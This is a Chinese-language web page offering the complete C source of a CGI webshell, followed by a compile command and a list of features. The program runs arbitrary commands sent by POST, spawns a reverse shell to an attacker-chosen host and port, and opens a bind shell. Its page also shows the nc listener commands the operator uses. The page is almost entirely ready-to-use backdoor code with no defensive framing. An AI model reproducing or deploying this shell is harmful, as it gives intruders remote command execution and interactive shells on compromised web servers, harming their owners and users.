Linux C代碼實現cgi shell

C語言實現cgi webshell

#include <stdio.h>#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <netdb.h>#include <signal.h>struct get_data {  char key[100];  char value[100];
};
void exec_cmd(void){  printf("Content-type:text/html\n\n");  FILE *command;  int size = atoi(getenv("CONTENT_LENGTH"));  if(size > 1500) {    printf("Error> Post Data is very big");    exit(0);  }  char *buffer = malloc(size+1);  fread(buffer,1,size,stdin);  command = popen(buffer,"r");  char caracter;  while((caracter = fgetc(command))){    if(caracter == EOF) break;    printf("%c",caracter);  }  pclose(command);  free(buffer);  exit(0);
}
int error(char *err){  perror(err);  exit(EXIT_FAILURE);
}
void parser_get(void){  printf("Content-type:text/html\n\n");  struct get_data *s;  char *GET = (char *)getenv("QUERY_STRING");  int i,number_of_get = 0,size_get = strlen(GET);  if(strlen(GET) > 100)    exit(0);  s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));  int element = 0;  int positionA = 0;  int positionB = 0;  int id = 0;  for(i=0;i<size_get;i++){    if(GET[i] == '='){      id = 1;      s[element].key[positionA] = '\0';      positionB = 0;      continue;    }    if(GET[i] == '&'){      id = 0;      s[element].key[positionA] = '\0';      s[element].value[positionB] = '\0';      positionA = 0;      positionB = 0;      element++;      continue;    }    if(id==0){      s[element].key[positionA] = GET[i];      positionA++;    }    if(id==1){      s[element].value[positionB] = GET[i];      positionB++;    }    if(i == size_get-1 && GET[size_get-1] != '&'){      s[element].key[positionA] = '\0';      s[element].value[positionB] = '\0';      element++;      continue;    }  }  char *host_x = (char *)malloc(100);  host_x = NULL;  char *type_x = (char *)malloc(100);  type_x = NULL;  int port_x = 0;  for(i=0;i<element;i++){    if(strcmp(s[i].key,"type")==0)      type_x = s[i].value;    else if(strcmp(s[i].key,"host")==0)      host_x = s[i].value;    else if(strcmp(s[i].key,"port")==0)      port_x = atoi(s[i].value);  }  free(s);  if(type_x == NULL){    free(type_x);    free(host_x);    exit(0);  }  if( (strcmp(type_x,"")==0) || port_x <= 0 || port_x > 65535){    printf("Something is wrong ... !!!");    free(type_x);    free(host_x);    exit(0);  }  if((strcmp(type_x,"reverse")==0) && (strcmp(host_x,"")==0)){    printf("You must specify a target host ...");    free(type_x);    free(host_x);    exit(0);  }  if(strcmp(type_x,"reverse") == 0){    struct sockaddr_in addr;    int msocket;    msocket = socket(AF_INET,SOCK_STREAM,0);    if(msocket < 0){      printf("<font color='red'>Fail to create socket</font>");      free(host_x);      free(type_x);      exit(0);    }    addr.sin_family = AF_INET;    addr.sin_port = htons(port_x);    addr.sin_addr.s_addr = inet_addr(host_x);    memset(&addr.sin_zero,0,sizeof(addr.sin_zero));    if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){      printf("<font color='red'>Fail to connect</font>\n");      free(host_x);      free(type_x);      exit(0);    }    printf("<font color='006600'>Connect with sucess !!!</font>\n");    if(fork() == 0){      close(0); close(1); close(2);      dup2(msocket, 0); dup2(msocket, 1); dup2(msocket,2);      execl("/bin/bash","bash","-i", (char *)0);      close(msocket);      exit(0);    }    free(host_x);    free(type_x);    exit(0);  } else if (strcmp(type_x,"bind")==0) {    int my_socket, cli_socket;    struct sockaddr_in server_addr,cli_addr;    if ((my_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1){      printf("<font color='red'>Fail to create socket</font>");      exit(1);    }    server_addr.sin_family = AF_INET;    server_addr.sin_port = htons(port_x);    server_addr.sin_addr.s_addr = INADDR_ANY;    bzero(&(server_addr.sin_zero), 8);    int optval = 1;    setsockopt(my_socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);    if (bind(my_socket, (struct sockaddr *)&server_addr, sizeof(struct sockaddr))== -1){      printf("<font color='red'>Fail to bind</font>");      free(host_x);      free(type_x);      exit(1);    }    if (listen(my_socket, 1) < 0){      printf("<font color='red'>Fail to listen</font>");      free(host_x);      free(type_x);      exit(1);    } else {      printf("<font color='006600'>Listen on port %d</font>\n",port_x);    }    if(fork() == 0){      socklen_t tamanho = sizeof(struct sockaddr_in);      if ((cli_socket = accept(my_socket, (struct sockaddr *)&cli_addr,&tamanho)) < 0){        exit(0);      }      close(0); close(1); close(2);      dup2(cli_socket, 0); dup2(cli_socket, 1); dup2(cli_socket,2);      execl("/bin/bash","bash","-i",(char *)0);      close(cli_socket);    }  }  free(host_x);  free(type_x);  exit(0);
}void load_css_js(void){printf("<style type=\"text/css\">\n\
#page-wrap {\n\  margin: 20px auto;\n\  width: 750px;\n\
}\n\
\n\
h1 {\n\  font-family: Impact, Charcoal, sans-serif;\n\  text-shadow: -1px 0 black, 0 1px black,\n\   1px 0 black, 0 -1px black;\n\  color: gray;\n\  border: #00ff00;\n\
}\n\
\n\
body {\n\  background-color: white;\n\
}\n\
\n\
input[type=\"text\"] {\n\  margin-bottom: 10px;\n\  border: 1px solid gray;\n\  color: black;\n\  box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
}\n\
\n\
hr {\n\  color: gray;\n\
}\n\
\n\
input[type=\"submit\"],input[type=\"button\"] {\n\  margin-bottom: 10px;\n\  border: 1px solid gray;\n\  box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
}\n\
\n\
#bind_reverse {\n\  display:none;\n\
}\n\
\n\
label {\n\  position: relative;\n\  clear: left;\n\  float: left;\n\  width: 15em;\n\  margin-right: 5px;\n\  text-align: right;\n\  margin-top: 5px;\n\
}\n\
\n\
\n\
div.scroll {\n\  border: 1px solid gray;\n\  margin-bottom: 10px;\n\  color: black;\n\  font-family: Tahoma, sans-serif;\n\  padding: 5px;\n\  width: 745px;\n\  height: 295px;\n\  overflow: auto;\n\  box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
}\n\
\n\
#cmd_rev {\n\  position: absolute;\n\  margin-left: 450px;\n\  top: 150px;\n\  width: 250px;\n\  overflow: auto;\n\
}\n\
\n\
#cmd_bin {\n\  position: absolute;\n\  margin-left: 450px;\n\  top: 300px;\n\  width: 250px;\n\  overflow: auto;\n\
}\n\
\n\
#rev_s {\n\  display:inline;\n\
}\n\
\n\
#bind_s {\n\  display:inline;\n\
}\n\</style>\n\
\n\<script type=\"text/javascript\">\n\function exec_cmd(){\n\  var Rrequest = new XMLHttpRequest();\n\  var cmd_x = document.getElementById(\"xxx\");\n\
\n\  var result = document.getElementById(\"result\");\n\
\n\  if(cmd_x.value == '') return;\n\  if(cmd_x.value == 'clear' || cmd_x.value == 'reset') { result.innerHTML = ''; return; }\n\  var vv = cmd_x.value;\n\
\n\  vv = vv.replace(/</g,\"<\");\n\  vv = vv.replace(/>/g,\">\");\n\
\n\  result.innerHTML += \"<pre><b>\\$</b> \"+vv+\"</pre>\";\n\  var bodyx = '';\n\
\n\  Rrequest.open(\"POST\",window.location.href,true);\n\  Rrequest.setRequestHeader(\"Content-type\",\"text/plain\");\n\  Rrequest.send(cmd_x.value);\n\
\n\  Rrequest.onreadystatechange = function(){\n\    if(Rrequest.status == 200){\n\      if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n\        var complete_cont = Rrequest.responseText;\n\        complete_cont = complete_cont.replace(/</g,\"<\");\n\        complete_cont = complete_cont.replace(/>/g,\">\");\n\        result.innerHTML += '<pre>'+complete_cont+'</pre>';\n\        result.scrollTop = result.scrollHeight;\n\      }\n\    } else {\n\      if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n\        result.innerHTML += \"<pre><b>error !</b></pre>\";\n\        return false;\n\      }\n\    }\n\  }\n\
}\n\
\n\
function load_bind(){\n\  var change_link = document.getElementById(\"change_link\");\n\  var linkz = change_link.innerHTML;\n\
\n\  if(linkz == 'REVERSE/BIND') {\n\    change_link.innerHTML = \"COMMAND LINE\";\n\    document.getElementById(\"cmd_line\").style.display = 'none';\n\    document.getElementById(\"bind_reverse\").style.display = 'block';\n\  }\n\  \n\  else {\n\    document.getElementById(\"bind_reverse\").style.display = 'none';\n\    document.getElementById(\"cmd_line\").style.display = 'block';\n\    change_link.innerHTML = 'REVERSE/BIND';\n\  }\n\
}\n\
\n\
function update_div(su,xxxd){\n\  var status = document.getElementById(xxxd);\n\  if(su.value == 0 || su.value == \"\"){\n\    status.innerHTML = \"\";\n\    return false;\n\  }\n\  if(xxxd == 'cmd_rev') {\n\    status.innerHTML = \"<pre>nc -v -l \"+su.value+\"</pre>\";\n\    return true;\n\  }\n");  printf("\tvar server_ip = '%s';\n",getenv("SERVER_ADDR"));  printf("\tstatus.innerHTML = \"<pre>nc -v \"+server_ip+\" \"+su.value+\"</pre>\";\n\  return true;\n\
}\n\
\n\
function change_div(ev,field){\n\  if(ev.keyCode == 8 || ev.keyCode == 37 ||\n\  ev.keyCode == 38 || ev.keyCode == 39 || \n\   ev.keycode == 40 || ev.keyCode == 46){\n\    return true;\n\  }\n\
\n\  if(ev.charCode < 48 || ev.charCode > 57){\n\    return false;\n\  }\n\  \n\  if(field.value > 65535){\n\    return false;\n\  }\n\  return true;\n\
}\n\
\n\
function connect_xxx(div_t){\n\
\n\  var get_s = '';\n\  if(div_t == 'rev_s'){\n\    var host_rev = document.getElementById(\"host_rev\");\n\    var port_rev = document.getElementById(\"port_rev\");\n\    if(host_rev.value == '' || port_rev == '' ) return false;\n\    get_s = '/?type=reverse&host='+host_rev.value+'&port='+port_rev.value;\n\  } else if(div_t == 'bind_s'){\n\    var port_bind = document.getElementById(\"port_bin\");\n\    if(port_bin.value == '') return false;\n\    get_s = '/?type=bind&port='+port_bin.value;\n\  }\n\
\n\  var target_div = document.getElementById(div_t);\n\  target_div.innerHTML = \"Wait ...\";\n\
\n\  var connect_s = new XMLHttpRequest();\n\  connect_s.open(\"GET\",window.location.href+get_s,true);\n\  connect_s.timeout = 3000;\n\  connect_s.ontimeout = function(){\n\    target_div.innerHTML = \"<font color='006600'>Listen OK !!!</font>\"\n\
}\n\
\n\  connect_s.onreadystatechange = function(){\n\    if(connect_s.status == 200){\n\      if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n\        target_div.innerHTML = connect_s.responseText;\n\      }\n\    } else {\n\      if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n\        result.innerHTML += \"<b>error !</b>\";\n\        return false;\n\      }\n\    }\n\  }\n\
\n\
\n\
\n\  connect_s.send();\n\
\n\
\n\
}\n\</script>");
}
int main(void){  if(strcmp(getenv("REQUEST_METHOD"),"POST") == 0) exec_cmd();  if(strcmp(getenv("QUERY_STRING"),"") != 0) parser_get();  printf("Content-type:text/html\n\n");  printf("<html>\n");  printf("\t<head>\n\t<meta http-equiv=\"Content-type\" content=\"text/html;charset=UTF-8\">\n");  printf("\t\t<title> C CGI SHELL =D </title>\n");  load_css_js();  printf("\n\t</head>\n");  printf("\t<body>\n");
printf(" \n\  <div id=\"page-wrap\">\n\  <h1>C - CGI SHELL</h1><pre>C0d3r: <b>webshell</b> | <a id='change_link' href='javascript：load_bind()'>REVERSE/BIND</a></pre>\n\  <div id='cmd_line'>\n\  <input type=\"text\" style=\"width:300px;\" id=\"xxx\" onkeyup=\"if(event.keyCode == 13) document.getElementById('lol').click()\">\n\  <input id=\"lol\" type=\"button\" value=\"Run Command\" onclick=\"exec_cmd()\">br/>\n\  <div class=\"scroll\" id='result'></div>\n\  </div>\n\  <div id='bind_reverse'>\n\    <pre><b>Reverse Connection: <div id='rev_s'><font color='red'>Stop</font></div></b></pre>\n\    <pre><label>Host/IP:</label><input type=\"text\" id='host_rev'/></pre>\n\    <pre><label>Port:</label><input type=\"text\" id='port_rev' onkeypress='return change_div(event,this);' onKeyUp='update_div(this,\"cmd_rev\");' /></pre>\n\    <input type='button' value='Start Connection' style=\"margin-left: 15.5em;\" onclick=\"connect_xxx('rev_s')\"/>\n\    <div id='cmd_rev'></div>\n\    <hr>\n\    <pre><b>Bind Connection: <div id='bind_s'><font color='red'>Stop</font></div></b></pre>\n\    <pre><label>Port To Listen:</label><input type=\"text\" id='port_bin' style=\"width:50px\" onkeypress='return change_div(event,this);' onKeyUp='update_div(this,\"cmd_bin\");'></pre>\n\    <input type='button' value='Start Connection' style=\"margin-left: 15.5em;\" onclick=\"connect_xxx('bind_s')\"/>\n\    <div id='cmd_bin'></div>\n\  </div>\n\  </div>\n\  </body>\n\</html>\n\
");  return 0;
}

編譯：

gcc shell.c -o shell.cgi

功能：

1.反彈得到shell（target做爲客戶端）

2.監聽得到shell（target做爲服務端）

3.命令行執行

• 本文來自：Linux學習網